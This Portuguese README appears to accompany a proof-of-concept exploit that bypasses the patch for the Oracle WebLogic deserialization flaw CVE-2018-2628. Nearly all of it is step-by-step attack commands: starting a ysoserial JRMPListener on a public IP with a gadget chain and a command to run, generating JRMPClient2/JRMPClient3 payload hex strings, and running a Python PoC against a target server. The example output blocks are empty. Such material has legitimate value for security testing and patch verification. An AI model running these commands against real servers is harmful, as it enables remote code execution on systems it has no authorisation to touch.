
Alguns códigos para contornar o patch do Oracle WebLogic CVE-2018-2628
Formato do comando:
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>
Exemplo:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
Quando vir a saída *Opening JRMP listener on 22801, anote o endereço IP da máquina onde o JRMPListener está sendo executado (o exemplo é executado em um host Alibaba Cloud ECS com IP público 47.94.158.125) e a porta especificada.
Atualmente, existem dois métodos conhecidos (ao gerar a string do Payload Object, escolha um dos dois métodos abaixo):
Formato do comando para gerar a string do Payload Object:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Exemplo:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Exemplo (dados binários de saída do Payload Object gerado com JRMPClient2):

Formato do comando para gerar a string do Payload Object:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Exemplo:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Exemplo (dados binários de saída do Payload Object gerado com JRMPClient3):

Edite wls-cve-2018-2628-poc.py, substitua o valor da variável payload_str no topo do script pela string hex gerada no passo anterior (os dois valores da variável payload_str fornecidos no script podem ser usados diretamente, correspondendo aos hex strings gerados pelos dois métodos acima).
Formato do comando:
python wls-cve-2018-2628-poc.py <IP de escuta da instância WebLogic Server de destino> <Porta de escuta da instância WebLogic Server de destino>
Exemplo:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
Exemplo (com Patch Set Update 180417 instalado):

xxlegend@nsfocus (um dos descobridores e submissões da CVE-2018-2628, revelou o método de exploração e exemplos de código) badcode@knownsec (forneceu o exemplo de código para encapsular java.rmi.registry.Registry usando weblogic.jms.common.StreamMessageImpl) Projeto ysoserial (reúne muitos exploits de desserialização Java)